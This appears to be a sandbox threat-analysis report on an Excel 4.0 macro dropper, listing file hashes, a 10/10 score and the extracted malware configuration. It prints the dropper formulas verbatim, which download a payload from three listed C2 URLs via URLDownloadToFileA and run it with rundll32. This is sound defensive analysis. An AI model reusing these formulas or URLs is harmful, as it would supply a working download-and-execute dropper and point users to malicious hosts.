General

  • Target

    295bca18fd219190b34252db039fb0b8aa71836da2aa067b826346a115d26356

  • Size

    99KB

  • Sample

    241111-w7aszawqhr

  • MD5

    d2344b1ebfae7691b895a4acbb0effc7

  • SHA1

    8f6e50a02e0f3da5b9830b589cdfe78bd9244de0

  • SHA256

    295bca18fd219190b34252db039fb0b8aa71836da2aa067b826346a115d26356

  • SHA512

    379ecad3fda6f75c60f04c0f0248004eddf6adf40036ef828696cd30a975709ef9d0865abf644f5d6928d34de89d2e04bce5f11580eba3c0a590e26a285fa894

  • SSDEEP

    1536:Llu4xYp20B+axURtKckrr9qZGrhD1GW+wZk4lHpuaI4qDVJac:FYHHxutKckrpqZGh+wrlJuaIjl

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/

http://news.tapchivietkieu.info/wordpress/CJzFM/

http://monosun.net/wp-includes/JcDnYBSKpyfU/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/","..\ourl.ocx",0,0) =IF('EGGEGDGE'!B11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://news.tapchivietkieu.info/wordpress/CJzFM/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monosun.net/wp-includes/JcDnYBSKpyfU/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B15<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\ourl.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/

xlm40.dropper

http://news.tapchivietkieu.info/wordpress/CJzFM/

xlm40.dropper

http://monosun.net/wp-includes/JcDnYBSKpyfU/

Targets

    • Target

      295bca18fd219190b34252db039fb0b8aa71836da2aa067b826346a115d26356

    • Size

      99KB

    • MD5

      d2344b1ebfae7691b895a4acbb0effc7

    • SHA1

      8f6e50a02e0f3da5b9830b589cdfe78bd9244de0

    • SHA256

      295bca18fd219190b34252db039fb0b8aa71836da2aa067b826346a115d26356

    • SHA512

      379ecad3fda6f75c60f04c0f0248004eddf6adf40036ef828696cd30a975709ef9d0865abf644f5d6928d34de89d2e04bce5f11580eba3c0a590e26a285fa894

    • SSDEEP

      1536:Llu4xYp20B+axURtKckrr9qZGrhD1GW+wZk4lHpuaI4qDVJac:FYHHxutKckrpqZGh+wrlJuaIjl

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks